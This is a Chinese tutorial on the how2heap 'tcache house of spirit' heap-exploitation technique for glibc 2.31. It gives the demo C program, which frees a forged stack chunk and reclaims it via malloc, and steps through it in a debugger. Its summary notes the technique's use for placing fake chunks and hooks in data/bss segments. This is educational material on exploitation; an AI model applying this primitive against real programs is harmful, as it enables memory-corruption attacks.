天天看點

how2heap(4):tcache_house_of_spirit 2.31tcache_house_of_spirit 2.31

tcache_house_of_spirit 2.31

比較簡單,一句話概括就是釋放一個不屬于堆段的僞造堆塊,然後重新申請

源碼

// gcc -g tcache_house_of_spirit.c -o tcache_house_of_spirit
  1 #include <stdio.h>
  2 #include <stdlib.h>
  3 #include <assert.h>
  4 
  5 int main()
  6 {
  7         setbuf(stdout, NULL);
  8 
  9         printf("This file demonstrates the house of spirit attack on tcache.\n");
 10         printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
 11         printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
 12         printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
 13 
 14         printf("Ok. Let's start with the example!.\n\n");
 15 
 16 
 17         printf("Calling malloc() once so that it sets up its memory.\n");
 18         malloc(1);
 19 
 20         printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
 21         unsigned long long *a; //pointer that will be overwritten
 22         unsigned long long fake_chunks[10]; //fake chunk region
 23 
 24         printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
 25 
 26         printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free     for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
 27         printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 w    ill all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
 28         fake_chunks[1] = 0x40; // this is the size
 29 
 30 
 31         printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
 32         printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
 33 
 34         a = &fake_chunks[2];
 35 
 36         printf("Freeing the overwritten pointer.\n");
 37         free(a);
 38 
 39         printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
 40         void *b = malloc(0x30);
 41         printf("malloc(0x30): %p\n", b);
 42 
 43         assert((long)b == (long)&fake_chunks[2]);
 44 }
           

調試

斷點下在21行,建立一個堆塊進行malloc()函數的初始化

how2heap(4):tcache_house_of_spirit 2.31tcache_house_of_spirit 2.31

28行下斷點,建立了一個long long類型的指針a和數組fake_chunk[10]

how2heap(4):tcache_house_of_spirit 2.31tcache_house_of_spirit 2.31

37行下斷點,将fake_chunks[1]的位置修改成0x40,即将僞造堆塊的size修改成0x40大小,并将fake_chunks[2]的位址指派給a指針變量,即a為僞造堆塊的malloc指針

how2heap(4):tcache_house_of_spirit 2.31tcache_house_of_spirit 2.31

40行下斷點,釋放僞造堆塊,僞造堆塊被作為正常堆塊釋放近tcachebin中

how2heap(4):tcache_house_of_spirit 2.31tcache_house_of_spirit 2.31

41行下斷點,建立一個資料空間為0x30大小的堆塊,正好被釋放近tcache bin中的僞造堆塊滿足申請的size條件,是以僞造堆塊就被當做一個正常堆塊重新啟用了,這就意味着如果擁有對堆塊寫操作的話就可以在資料段進行環境部署

how2heap(4):tcache_house_of_spirit 2.31tcache_house_of_spirit 2.31

總結

  • 這種利用方式還是挺簡單,而且挺實用的,可以對資料段或者bss段進行僞造堆塊的部署,如果事先在資料段部署了hook位址,也可以挂鈎子
how2heap(4):tcache_house_of_spirit 2.31tcache_house_of_spirit 2.31